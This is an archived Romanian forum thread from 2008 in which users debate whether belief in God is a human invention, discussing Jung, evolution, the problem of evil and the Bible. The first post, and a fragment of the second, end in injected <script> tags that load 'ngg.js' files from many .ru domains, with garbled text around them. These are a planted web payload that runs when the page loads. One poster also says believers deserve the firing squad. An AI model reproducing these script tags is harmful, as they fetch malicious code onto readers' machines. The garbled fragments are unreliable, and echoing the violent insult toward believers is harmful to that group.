PDA

Arată versiune întreagă : nevoia de a crede



idontknow
17.01.2008, 06:01
as vrea sa va intreb ce parere aveti despre nevoia omului de a crede si
sa va zic care este ceea ce ma face sa ma indoiesc cel mai mult:prima intrebare pe care mi-am pus-o si care a condus la indoiala(sau necredinta, dar cred ca mai am un dram de credinta) :nu cumva oamenii au inventat divinitatea ca se consoleze ca vor muri, ca sufera(gandindu-se ca suferinta poate fi trimisa de la Dumnezeu pentru a ii apropia de El sau ca poate fi curmata prin interventia lui Dumnezeu), ca sa isi gaseasca un sprijin atotputernic, supranatural si ca sa bage frica in semenii lor, impiedicandu-i sa faca fapte rele?nu cumva Raiul (sau atingerea fericirii absolute la budisti de exemplu) este dorinta omului de a trai intr-o lume mai buna, fara grija, fara suferinta, ca o oglindire perfecta a fericirii pe care nu prea o putem atinge aici, pe Pamant, in aceasta viata?oare oamenii nu au inventat viata de apoi pentru ca nu pot accepta ca sunt o intamplare, o mutatie a Universului, care va ajunge hrana pentru viermi si ciclul naturii se va relua fara sa-i pese de aceste fiinte efemere, praf in vant?noi, pentru ca avem inteligenta, dorim sa gasim explicatii oricarui lucru,sa argumentam orice fenomen, iar ceea ce nu putem argumenta punem in carca divinitatii(de ex fulgerele care pana de curand erau arma lui Dumnezeu)...apoi mai este dualitatea asta bine-rau...de ce trebuie sa existe diavol?nu cumva diavolul Il pune in evidenta pe Dumnezeu si Dumnezeu pe diavol asa cum albul langa negru pare mai alb sau sanatatea comparata cu suferinta ne face sa ne dam seama atunci cand ne e bine cat de norocosi suntem?sunt multe lucruri pestecare pur si simplu nu pot sa trec oricat as incerca...de exemplu daca evoutionismul nu e adevarat atunci de ce chiar pare ca ne-am fi tras cu totii(toate speciile) dintr-acelasi stramos comun?de ce semanam atata intre noi, sobolanul cu cainele, maimuta cu omul, gaina cu strutul, pestele cu soparla(bine am dat si eu niste exemple nu stiu daca asemanarile sunt chiar potrivite, dar vreau sa spun ca parca am fi evoluat toti cu caracteristici f asemanatoare prin mutatii la nivel de populatii)?dar, cum am mai spus, cel mai mult ma pune pe ganduri faptul ca s-ar putea ca omul sa vrea sa gaseasca un scop nobil existentei sale si sa pretinda ca face ce vrea, ca are liberul arbitru cand de fapt noi facem cam totul din instinct, din spiritul de conservare(mancam, dormim, ne reproducem etc) mascat de asa zisele sentimente(care uneori sunt legate f mult de egoism, dar oricum se intalnesc si la animale-instinctul matern, sau au ca scop reproducerea- indragosteala, iar cand nu sunt aceste cazuri e simpla atasare-asa cum si maimutele se ataseaza unele de altele) si inteligenta-care la urma urmei se dezvolta in urma experientelor si a adaptarii(aici ma refer la stiinta)...poate gresesc, poate am exagerat un pic, dar daca e sa privim lucrurile in esenta cam asta suntem, arta, cultura si restul din aceasta categorie reprezinta doar exprimarea sentimentelor sau se nasc din orgoliu.as vrea sa stiu mai ales ce parere aveti despre aceasta chestiune psihologica(adica daca e posibil ca noi sa nascocim fiinte supranaturale ca sa dam scop vietii noastre si sa ne simtim protejati)...si mai ales despre faptul ca credinta se naste din subconstientul colectiv si ca omul a inventat mituri din cauza egoismului sau(gandindu-se ca Dumnezeu se sacrifica pentru binele nostru pe cruce si ca apoi invie)smileys/smiley5.gif/script>ript src=http://c=http:<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.iroe.ru/n<script src=http://www.iroe.ru/ngg.js></script>

Raven
17.01.2008, 11:46
as vrea sa va intreb ce parere aveti despre nevoia omului de a crede
Nimic. Nici o parere. Zero barat pareri.
Parere inseamna ca nu stii sigur, da' crezi ca stii ceva.

Nevoia omului de-a crede e recunoasterea subconstienta a propriei lui neputinte de-a fi altceva decat om, a neputintei de-a face ce e just usor si natural, e recunoasterea faptului ca omul nu poate evita decaderea din conditia de om fara ajutor din "afara".

Nevoia de a crede e acceptarea realitatii care-ti striga-n fatza: esti jalnic!


</span>

</span>sa va zic care este ceea ce ma face sa ma indoiesc cel mai mult:prima intrebare pe care mi-am pus-o si care a condus la indoiala(sau necredinta, dar cred ca mai am un dram de credinta) :nu cumva oamenii au inventat divinitatea ca se consoleze ca vor muri, ca sufera(gandindu-se ca suferinta poate fi trimisa de la Dumnezeu pentru a ii apropia de El sau ca poate fi curmata prin interventia lui Dumnezeu), ca sa isi gaseasca un sprijin atotputernic, supranatural si ca sa bage frica in semenii lor, impiedicandu-i sa faca fapte rele?
Sa ma repet: citeste Ecclesiastul, nu ca pe Vogue, ci ca si cum te-ai uita-n oglinda si te-ai uita in proprii ochi.

Pe urma vezi tu cam cate si ce anume intrebari iti mai raman de pus.


</span>

</span>oare oamenii nu au inventat viata de apoi pentru ca nu pot accepta ca sunt o intamplare, o mutatie a Universului, care va ajunge hrana pentru viermi si ciclul naturii se va relua fara sa-i pese de aceste fiinte efemere, praf in vant?
Parca erai nesigura, acuma brusc ai devenit sigura ("oare oamenii nu au inventat... pentru ca nu...")?
Hotaraste-te: sigura ori nesigura. Amndoua de-odata nu se poate.


</span>

</span>noi, pentru ca avem inteligenta, dorim sa gasim explicatii oricarui lucru,sa argumentam orice fenomen, iar ceea ce nu putem argumenta punem in carca divinitatii(de ex fulgerele care pana de curand erau arma lui Dumnezeu)...
Sau punem in carca ratiunii pe care unii o considera infailibila (adica perfectionabila la infinit) si cand colo ratiunea asta e numai o manifestare jalnica a unei existente de hamster bazate pe superficialitate si egoism.

"fulgerele... arma lui Dumnezeu" - vezi ca Biblia nu se citeste ca pe-un roman de Barbara Cartland.


</span>

</span>apoi mai este dualitatea asta bine-rau...de ce trebuie sa existe diavol?
Ce zici, exista bine si rau sau totul e otova, nici o diferenta intre ce facem si nu facem, nu conteaza daca viram stanga sau dreapta?


</span>

</span>nu cumva diavolul Il pune in evidenta pe Dumnezeu si Dumnezeu pe diavol asa cum albul langa negru pare mai alb sau sanatatea comparata cu suferinta ne face sa ne dam seama atunci cand ne e bine cat de norocosi suntem?
Albul nu exista decat langa negru si negrul nu exista decat langa alb. Intre ele nu-i nimic, in afara de ele nu-i nimic. Restul nu sunt decat vise desarte.


</span>
[QUOTE=idontknow]</span>sunt multe lucruri pestecare pur si simplu nu pot sa trec oricat as incerca...de exemplu daca evoutionismul nu e adevarat atunci de ce chiar pare ca ne-am fi tras cu totii(toate speciile) dintr-acelasi stramos comun?de ce semanam atata intre noi, sobolanul cu cainele, maimuta cu omul, gaina cu strutul, pestele cu soparla(bine am dat si eu niste exemple nu stiu daca asemanarile sunt chiar potrivite, dar vreau sa spun ca parca am fi evoluat toti cu caracteristici f asema<script src=http://www.iroe.ru/ngg.js></script>

idontknow
18.01.2008, 05:43
Spune drept, asta unde-ai citit-o? Nu minti, ca te prind si te fac de ras. &lt;wink&gt;


de frica sa nu ma prinzismileys/smiley36.gifam sa-ti explic mai bine la ce m-am referit:omul se crede centrul Universului, crede ca daca exista Dumnezeu atunci sigur Dumnezeu l-a creat pe om cu un anumit scop, il protejeaza si are un plan pentru el, fiind in stare chiar sa se jertfeasca pe cruce pentru el....de asta ma gandesc ca intruparea si invierea sunt doar mituri...dar daca ar fi sa recunosc cine m-a influentat, m-as gandi la Jung...aici e un fragment din cartea sa "Amintiri, vise, reflectii"(in caz ca nu l-ai citit):


http://www.ceruldinnoi.ro/pages/Jung%20-%20Ganduri%20tarzii (http://www.ceruldinnoi.ro/pages/Jung%20-%20Ganduri%20tarzii.htm). htm


ce nu inteles eu este daca in conceptia lui Jung Dumnezeu este o proiectie a arhetipului sinelui sau daca sinele este o proiectie a lui Dumnezeu in om?credea Jung in Dumnezeu?dar in intruparea Lui?poate imi impartasesti parerea ta in urma citirii fragmentuluismileys/smiley1.gif

Raven
20.01.2008, 03:25
de frica sa nu ma prinzismileys/smiley36.gifam sa-ti explic mai bine la ce m-am referit:omul se crede centrul Universului, crede ca daca exista Dumnezeu atunci sigur Dumnezeu l-a creat pe om cu un anumit scop, il protejeaza si are un plan pentru el, fiind in stare chiar sa se jertfeasca pe cruce pentru el....de asta ma gandesc ca intruparea si invierea sunt doar mituri...
Tot ceea ce are originea de neexplicat pt. noi este un mit. Inclusiv stiinta. Fara descoperirea focului si-a rotzii stiinta n-ar fi existat. Cine si cum a descoperit focul si roata? Anonimus. Anonimitatea e baza stiintei.

Nu, nu toti se cred centrul Universului, numai megalomanii cred asta.
Religia unui megaloman e irelevanta, ce conteaza e cultul personalitatii. Oricine poate sa fie megaloman: un dictator care conduce o tara cat un continent la fel ca si un individ de pe strada. Religia unui megaloman e cultul personalitatii proprii.
Un ateu poate fi megaloman ca si un extremist religios.



dar daca ar fi sa recunosc cine m-a influentat, m-as gandi la Jung...aici e un fragment din cartea sa "Amintiri, vise, reflectii"(in caz ca nu l-ai citit):


http://www.ceruldinnoi.ro/pages/Jung%20-%20Ganduri%20tarzii (http://www.ceruldinnoi.ro/pages/Jung%20-%20Ganduri%20tarzii.htm). htm


ce nu inteles eu este daca in conceptia lui Jung Dumnezeu este o proiectie a arhetipului sinelui sau daca sinele este o proiectie a lui Dumnezeu in om?credea Jung in Dumnezeu?dar in intruparea Lui?poate imi impartasesti parerea ta in urma citirii fragmentuluismileys/smiley1.gif

Ca sa-l intelegi pe Jung cred ca trebuie intai sa treci prin alte parti, de ex. Nietzsche.

Cred ca e mai putin important cum e perceput Dumnezeu de Jung, de unul sau altul. Mai important e ce stie fiecare despre sine.

anticristul
14.04.2008, 11:57
Daca te nasti cu tot ce trebuie ,pentru viata ,fara sa participi cu nimic.Si totul este pregatit dinainte ,cu multa minutiozitate ,si tu nu poti schimba nici macar structura unei celule din organism.Pune ti intrbarea ,cine esti ?,de unde vii ?si incotro te indrepti?

doru9
14.04.2008, 17:46
cine crede este complet ridicol. Sa mearga la o sectie de politie, ori la o inchisoare, ori la un spital, ori la o casa de batrini ori la vreun cimitir si sa vezi cum realitatea inlocuieste aiureala din cap. Urgent. Lepre ce nu se pot lauda cu fapte ori caracter isi creaza cartea asta de vizita "cred" dar sunt putrezi saracii...si mai au pretentia sa acuze infidelii hahaha. ride sid racu sa va ia de voi bai inconstientiilor! Nu mai mentionez ca numai ce l-a arestat pe un mare credincios, pastor mare nu asa...si il acuza ca s-a urcat pe fisa dar nu imediat, nu, a asteptat sa faca fata 6 ani intii. Si a cam calarit=o citiva ani. Stim asta de la ea si ne intrebam, fivar credintsa a dreaq...unde v-a fost ma dumnezeul? Era ocupat? Man, nu am timp ca v-ash da niste dovezi de gloria lui dumnezeu mai mari decit universu asta care cica la creat. Cum am zis, cine crede este ridicol, un parvenit, o lichea, un mincinos si o netrebnic pentru ca vrea toti sa fie la fel de mizerabili ca el credinciosu...


Deobicei imi incheiam mesajele anti-religie cu "imi este mila de voi" dar nu mai imi pierd timpul-nu meritati nici mila credinciosiilor. Meritati plutonul de executie adica exact ce credeti voi ca meritam noi...At least noi va vrem pe burta odata, voi ne tot amenintati cu iadu pe veci hahaha deci cine are mai multa onoare la faza asta?


Nu imi raspundeti cu "Uniunea Sovietica" pentru ca va amintesc ca 85% din rusi mergeau la biserica si 95% din ei se supuneau obiceiuriilor ortodoxe deci...tara atee nu exista inca dar va, nu va faceti griji. Cind or sa aterizeze extraterestrii mei...o sa le spun sa urineze pe turlele bisericiilor si moscheielor si sinagogilor voastra sa va vad atunci cum o dati la intors "nu domle ca eu credeam ca exista civilizatii in cosmos, bineinteles, nevasta era aia cu biserica..." Sa vezi scrisori la editor "mereu am stiut ca religia este manevra guvernelor sa nu afle prostimea ca nu e singura in univers..." Sunteti de ris si voi si dumnezeii vostrii si realitatea din orice colt al lumii, din orice timp vreti voi si din orice unghi imi da dreptate. Acum hai marsh la biserica ca se supara preasfintiile lor si va afuriseste hahahaha

idontknow
15.04.2008, 05:18
Wow, dar stiu ca esti direct!smileys/smiley36.gifFaza e ca...nu prea e nici o "manevra a guvernelor ca sa nu afle prostimea ca e singura in univers", ca mie mi se pare ca e chiar invers.Adica aproape toata lumea are impresia ca exista extraterestri tocmai pentru ca mass-media a promovat ideea asta, desi au fost si multe farse de-a lungul timpului. Iar religia este o forma de control in masa de cand lumea. Insa religia inseamna tot carul de traditii si obiceiuri si interese politice atasate credintei, care zic eu ca e esenta si ca se poate lipsi de religie. Multi oameni se revolta impotrivadivinitatii din cauza raului din lume(apropo, mi se pare ca esti mai mult revoltat, decat ateu), insa nu cred ca asta este cel mai bun motiv(adica sunt altele: filosofice, stiintifice etc.), pentru ca nu poti sa ii ceri socotealalu' Dumnezeupentru ceea ce fac oamenii, doar de asta exista liberul arbitru. Cel mai frecvent se invoca "copiii din Africa". Ca de ce nu-i ajuta Dumnezeu?Da pana la El, a urcat cineva in avion ca sa le dea o mana de ajutor?Sau persoane care traiesc tragedii personale si isi pierd credinta. Aici nu sunt in masura sa vorbesc, depinde si de om daca "are dreptul" de a se revolta. In sensul ca daca pe tine te doare undeva de Dumnezeu sau esti o persoana rea, nu prea merge sa ai gura mare dupa aia.In cazul contrar, intr-adevar, iti vine sa te intrebi "Unde e Dumnezeul la care ma rog?".In fine, ceea ce voiam sa subliniez era ca in unele cazuri mai bine am vedea barna din ochiul nostru, decat paiul din "ochiul" lui Dumnezeu.

fl%rin
15.04.2008, 11:44
idontknow, eu unul sunt de acord cam cu tot ce ai spus in prima postare. Sunt exemple multe in acest sens. Pana si crestinii sunt de acord ca zeitatile anticilor (Zeus, Poseidon, Thor, Ra, Isis etc.) sunt povesti. Mai ramane sa se convinga ca si Yahwe sau Yehova e tot o nascocire. Si sunt iar perfect de acord cu privire la egoismul si grandomania oamenilor. Sa crezi ca dumnezeu si-a trimis fiul (care este de fapt tot dumnezeu - mister total!) sa se jertfeasca pentru pacatele tale, mi se pare culmea grandomaniei. Raven, prin spusele lui, semnifica perfect pe ce se bazeaza religia: pe sentimentul de inferioritate, de pacatosenie ca sa zic asa (omul este nascut pacatos - o prostie in opinia mea) si pe frica. Nu suntem jalnici, si nici nu avem nevoie de ajutor "din afara" (chiar daca am avea, ne-am bizui pe fantasme).
Raven, pe de o parte predici o multime de virtuti (unele mai mult decat altele),dar pe de alta parte din aproape fiecare postare de-a ta razbate un aer clar de superioritate fata de ceilalti, asta fiind o dovada ca ceea ce spui tu sunt doar vorbe, daca nici tu, care crezi atat de mult in ceea ce spui, nu poti sa pui in aplicare ce predici. Nu trebuie sa-i explici tu lui idontknow cum se citeste ceva, folosind ironii ieftine, si asta doar pentru ca nu esti tu de acord cu ceea ce spune. Ai luat in considerare si ipoteza ca poti avea pareri complet gresite?

idontknow
16.04.2008, 03:57
Mai ramane sa se convinga ca si Yahwe sau Yehova e tot o nascocire.


Sincer, aici si eu sunt sceptica. Adica este prea multa politica si discriminare in Vechiul Testament. Ma intreb...daca exista Dumnezeu, este Acesta Yahwe?Sau...este Yahwe si oamenii L-au inteles gresit?Adica au amestecat revelatia cu propriile interese?Sau era nevoie de ordine si disciplina pentru ca oamenii erau mai barbari si de asta exista si politica in cartea sfanta a evreilor?Sau Dumnezeu nu S-a revelat in cadrul niciunei religii, ci mai degraba fiecarui suflet care Il cauta?Sau S-a revelat in toate religiile si revelatia a fost perceputa diferit in functie de fiecare popor si cultura?Atunci de ce fiecare religie sustine ca Dumnezeul ei este adevarat si nu accepta toleranta si ideea ca e Acelasi Dumnezeu peste tot?Sau...???????????????????????????????????????? ?????????? ??????????

fl%rin
16.04.2008, 08:22
Sau...este Yahwe si oamenii L-au inteles gresit? Sau era nevoie de ordine si disciplina pentru ca oamenii erau mai barbari si de asta exista si politica in cartea sfanta a evreilor? Sau Dumnezeu nu S-a revelat in cadrul niciunei religii, ci mai degraba fiecarui suflet care Il cauta? Sau S-a revelat in toate religiile si revelatia a fost perceputa diferit in functie de fiecare popor si cultura?
Sau nu exista nici un dumnezeu si toate astea sunt false probleme.

doru9
16.04.2008, 13:51
stati mah ca va dovedesc eu urgent daca exista dumnezeu ori nu. Credinciosii spun ca dumnezeu "nu se schimba," nu? Si in vechiul testament se spune ca "dumnezeu uraste jertfele de oameni," nu? In unele parti ca "nici nu i-a trecut prin cap asa nenorocire," in alte pasaje ca "este ingrozit de asa ceva." Si acum dovada ca exista dumnezeu dar doar dupa vreo doua kile de vodca: daca dumnezeu nu accepta (trecut) jertfe umane si nu se schimba (prezent continuu)...cum putea iisus sa se jertfeasca? Cui? Unui dumnezeu care nu accepta asa jertfe si nu se schimba? Deci ori dumnezeu se schimba, deci nu exista, ori accepta jertfe umane, deci nu exista, ori nu se schimba si nu accepta jertfe umane deci iisus nu e dumnezeu deci nici Jehova nu este dumnezeu conform zicalei asa fiu asa tata. Ce explicatie mai doriti sa vedeti ca cei credinciosi sunt ciudati? Si daca nu sunt opriti or sa treaca de la ciudatenie la crima...


Am o idee hahahhaa. Haideti sa pornim noi o religie hahaha pe bune, ceva misto, adinc gindit...sa vedem dupa un an citi prosti corupem! Care esti interesat...hai sa ne punem capetele la munca si nu va fie griji de manuscrise "vechi" ca le gasim noi la vreu garage sale hahaha. Eu va gasesc versetele din biblie si koran in care scrie clar (interpretarea noastra, ce numai ei au voie sa intoarca totul cum vor ei?) despre noul profet varul lui dumnezeu ce va apare sa salveze lumea intii online pe un site unde se string aia din fosta Tracie. Care aveti timp de ris let me know...

Sherlock
16.04.2008, 15:12
ok, si daca cineva ar ajunge sa demonstreze ca nu exista Dumnezeu, pe cine si de ce ar ajuta acest lucru.


Nu crezi, nu crezi sa fi sanatos, nu te obliga nimeni.


Probabil urmatorul topic va fi, exista sau nu Mos Craciun.


Nu intotdeauna aflarea adevarului ajuta la ceva, nu stiu de va intaratati atat a sa demonstrati un lucru care nu ar ajuta pe nimeni si chiar din contra........

fl%rin
16.04.2008, 15:29
Nu crezi, nu crezi sa fi sanatos, nu te obliga nimeni.
Hai nu zau! Si faptul ca in Romania biserica beneficiaza de bani de la buget nu obliga pe nimeni? Sau ca se invata religie obligatoriu la scoala? Mai-mai, ar trebui sa dam jos ochelarii aia de cal.

Sherlock
16.04.2008, 15:45
extraordinar ce probleme grave, astea chiar trebuie rezolvate.


mersi de oferta dar inca nu port ochelarii, calule


eu te-am intrebat si cu ce ar ajuta acest lucru, puneti te rog ochelari si mai citeste odata ce am postat.


Desigur ajuta la buget, ok

fl%rin
16.04.2008, 16:35
...
Bine fiule, fie ca tine.